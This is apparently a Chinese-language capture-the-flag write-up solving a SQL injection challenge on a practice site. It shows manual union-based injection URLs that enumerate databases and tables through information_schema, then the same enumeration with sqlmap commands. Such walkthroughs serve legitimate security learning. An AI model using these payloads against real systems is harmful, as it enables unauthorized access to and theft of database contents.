這題就是個sqi注入的:
手工注入:
我先是簡單嘗試,就發現了,可以執行sql語句
http://ctf5.shiyanbar.com/8/index.php?id=2 group by 2 沒報錯
http://ctf5.shiyanbar.com/8/index.php?id=2 gourp by 3 報錯
說明我們有兩個字段可以提供給我們使用,比如說如下語句
http://ctf5.shiyanbar.com/8/index.php?id=2 union select 1,2
那麼就簡單了,直接查看所以數據庫名
http://ctf5.shiyanbar.com/8/index.php?id=2 union select group_concat(schema_name,"~~"),2 from information_schema.schemata
得到三個數據庫,我們猜測第2個數據庫中(因爲該頁面的數據就在其中可以用database()查看)
查看裏面所有的表
http://ctf5.shiyanbar.com/8/index.php?id=2 union select group_concat(table_name,"~~"),2 from information_schema.tables where table_schema ='my_db'
應該就是這個,查看字段名
OK現在可以直接看flag了
直接複製進去就可以提交了
SqlMap工具利用,這個就快當了:
探測是否有注入:
有注入漏洞:
爆破所有數據庫:
-u "http://ctf5.shiyanbar.com/8/index.php?id=2" --dbs
發現三個數據庫:
爆my_db庫中的表:
-u "http://ctf5.shiyanbar.com/8/index.php?id=2" -D "my_db" --tables
發現兩個表:
直接爆thiskey這個表中的字段:
http://ctf5.shiyanbar.com/8/index.php?id=2 -u "http://ctf5.shiyanbar.com/8/index.php?id=2" -D "my_db" -T "thiskey" --column
得到Key(我用的是最新sqlmap)